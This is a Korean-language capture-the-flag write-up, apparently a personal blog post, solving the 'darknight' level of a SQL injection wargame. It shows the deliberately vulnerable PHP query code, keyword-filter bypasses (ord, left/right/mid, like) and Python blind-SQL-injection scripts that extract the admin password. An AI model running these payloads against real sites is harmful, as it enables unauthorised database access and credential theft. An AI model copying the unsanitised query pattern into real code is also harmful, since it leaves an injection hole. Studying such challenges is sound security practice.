R136A1

[LOS] 12. darknight :: blind SI 본문

WEB SECURITY/SQL Injection

[LOS] 12. darknight :: blind SI

r136a1x27 2021. 9. 17. 05:00
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  highlight_file(__FILE__);

PART1

제약조건

작은따옴표('), =, substr, ascii 함수 못씀 (대소문자 상관없이)

pw 파라미터에 작은따옴표(') 못씀 = 뒤 함수를 제약하지 못함 → no에 exploit해야 함...

 

select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}

Hello {$result[id]} 로 쿼리의 결과 확인 가능

 

연산자 순서가 and -> or 순서이기때문에 no에서 or 조건을 추가하면 앞의 조건들을 다 무시할 수 있다

ex) 1 and 0 and 1 or 1  → 뭐든 __ or 1  → 항상 참

- - - - - - - - - - - -

PART2

추가 제약조건

pw 파라미터에 addslashes 함수 적용 → 주로 쿼리 전달 전에 쓰여서, ' " \ null 값을 \' \" \\ \null 로 replace한다.

이렇게 생성된 SQL문을 실행시키면, \' \" \\ 등의 값이 문법이 아닌 '문자'로 해석된다.

select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'

 

result['pw'] == $_GET['pw'] 이므로 일반적인 SQL injection로는 알아낼 수 없다.

length, mid와 같은 함수를 통해 특정 정보를 추출해낼 수 있는 blind SQL Injection이 필요

→ 참, 거짓을 통해 확인할 수 있는 환경 갖춤 → Blind 맞음

 

문제 풀이의 목적은 여기이다. admin의 패스워드를 알아내는 것

 

=================

다시 돌아와서, 패스워드를 알아내려면 blind-sqli를 사용해야 한다.

blind-sqli로부터 정보를 알아내는 곳은 PART1이다. (PART2는 쓰이지 않음)

 

분석한 것을 토대로 no에 익스플로잇 코드를 작성해보자.

select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}

 

1. pw의 길이 구하기

select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no=아무숫자 or id like "admin" and length(pw) like 숫자

여태까지 문자열이었던 pw=' ' 와 달리 no는 int 형이라 따옴표로 끝맺지 않아도 된다는 점을 활용하면 된다.

(프로그래머가 코딩한 ' " 등에 구속받지 않음)

for len in range(99):
    query = f"?no=1 or id like \"admin\" and length(pw) like {len} %23"
    res = requests.get(url + query, cookies=cookies, headers=headers)
    # print(res.raise_for_status)

    if ("Hello admin" in res.text):
        print(f"[+] Get Password length : {len}")
        break

2. pw 구하기

for j 안에 뭘 넣느냐랑

ord(right(left ... 를 어떻게 구성하느냐는 취향차이이다.

pw=""
for i in range(1, len + 1):  # pw의 길이만큼 반복 1부터 len까지
    for j in range(ord('0'), ord('z')):  # 0-9, a-z, A-Z까지의 ASCII코드 - 문자열 넣어줘도 한 글자씩 들어감 abcd...
        query = f"?no=1 or id like \"admin\" and ord(right(left(pw, {i}), 1)) like {j}"
        res = requests.get(url + query, cookies=cookies, headers=headers)
        # print(res.raise_for_status)

        if res.text.find('Hello admin') != -1:
            pw += chr(j)
            print(f"[*] Finding... : {pw}")
            break

print(f"[+] Found Password : {pw}")

0b70ea1f

ascii 우회 

   ord 사용

   ascii(substr(pw,1,1)) = ord(substr(pw,1,1))

   char 함수 이용

substr 우회

    right, left, mid 사용

    substr('apple',1,1) = 'a'  ->  right(left('apple',1,1) = 'a'

    substr('apple',1,1) = 'a'  ->  mid('apple',1,1) = 'a'

= 우회

   like, between 이용

 

최종 페이로드

select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'

 

?pw=0b70ea1f

 

Comments